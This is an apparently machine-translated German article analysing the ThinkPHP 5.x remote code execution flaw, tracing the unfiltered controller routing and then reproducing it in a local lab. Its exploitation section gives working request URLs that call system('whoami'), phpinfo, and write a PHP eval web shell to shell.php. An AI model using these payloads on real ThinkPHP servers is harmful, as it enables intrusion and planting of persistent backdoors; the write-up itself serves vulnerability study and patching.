Heim  >  Artikel  >  PHP-Framework  >  Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

藏色散人
藏色散人nach vorne
2019-08-20 14:09:432956Durchsuche

0x00 Vorwort

ThinkPHP hat am 9. Dezember 2018 offiziell ein wichtiges Sicherheitsupdate veröffentlicht, das eine schwerwiegende Sicherheitslücke bei der Remotecodeausführung behebt. Bei diesem Update handelt es sich hauptsächlich um ein Sicherheitsupdate. Da das Framework keine ausreichende Erkennung des Controller-Namens durchführt, führt es zu einer möglichen Getshell-Sicherheitslücke, wenn die erzwungene Weiterleitung nicht aktiviert ist. Dies wird empfohlen Aktualisieren Sie so schnell wie möglich auf die neueste Version.

0x01 Umfang der Auswirkung

5.x

0x02 Schwachstellenanalyse

Thinkphp v5.0.x Patch-Adresse: https://github.com/top-think/framework/com...

Thinkphp v5. 1.x-Patch-Adresse: https://github.com/top-think/framework/com...

Der Controller-Teil der Routing-Informationen wurde gefiltert gesehen, dass das Problem im Routing

Schlüsselcode während der Planung auftritt:

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Vor dem Fix hat das Programm den Controller nicht gefiltert, sodass Angreifer anrufen können beliebige Klassenmethoden durch Einführung von Symbolen.

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Die $this->app->controller-Methode wird zum Instanziieren des Controllers verwendet und ruft dann die Methode in der Instanz auf. Führen Sie anschließend die Controller-Methode aus:

Verwenden Sie die Methode parseModuleAndClass, um $module und $class zu analysieren und dann $class zu instanziieren.

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Wenn in der parseModuleAndClass-Methode $name mit einem Backslash beginnt, wird dieser direkt als Klassenname verwendet. Unter Ausnutzung der Eigenschaften des Namespace können Sie jede Klasse instanziieren, wenn Sie hier den $-Namen (also den Controller-Teil der Route) steuern können.

Als nächstes werfen wir einen Blick zurück auf den Routing-Parsing-Code. Die Methode route/dispatch/Url.php:: parseUrl ruft route/Rule.php:: parseUrlPath auf, um die Routing-Informationen in pathinfo zu analysieren.

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Der Code ist relativ einfach use / Teilt $url ohne Filterung.

Die Routen-URL wird von Request::path () abgerufen

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Da die Standardkonfiguration von var_pathinfo s ist, können wir $_GET ['s verwenden '] Um Routing-Informationen zu übergeben, können Sie auch pathinfo zum Übergeben verwenden, aber während des Tests ersetzt die Windows-Umgebung $_SERVER ['pathinfo'] durch /. In Kombination mit der vorherigen Analyse kann der vorläufige Nutzungscode wie folgt abgerufen werden: index.php?s=index/namespaceclass/method, der die Namespaceclass-Klasse instanziiert und die Methodenmethode ausführt.

0x03-Schwachstellenausnutzung

Quellcode der Docker-Schwachstellenumgebung: https://github.com/vulnspy/thinkphp-5.1.29

Lokale Umgebung: thinkphp5.0.15+php5.6n+ Apache2.0

http://www.thinkphp.cn/donate/download/id/...

1. Verwenden Sie die Systemfunktion, um Remote-Befehle auszuführen

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

2. Schreiben Sie die Informationen von phpinfo () über die phpinfo-Funktion

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

3. Schreiben Sie Shell:

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

oder

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

Analyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x

Das obige ist der detaillierte Inhalt vonAnalyse und Reproduktion von Sicherheitslücken bei der Remote-Befehlsausführung in ThinkPHP 5.x. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:learnku.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen